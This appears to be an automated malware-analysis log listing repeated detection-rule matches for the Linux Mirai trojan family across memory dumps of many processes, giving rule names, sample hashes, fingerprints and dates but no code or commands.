Source: 7188.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7188.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7022.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7022.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7022.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6265.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6265.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6265.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6417.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6417.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6417.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6689.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6689.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6689.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6422.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6422.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6422.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6328.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6328.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6328.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7263.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7263.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7263.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6399.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6399.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6399.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6544.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6544.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6544.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6396.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6396.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6396.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6750.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6750.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6750.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6941.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6941.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6941.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6351.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6351.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6351.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6596.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6596.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6596.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6652.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6652.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6652.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6603.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6603.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6603.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7050.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7050.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7050.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
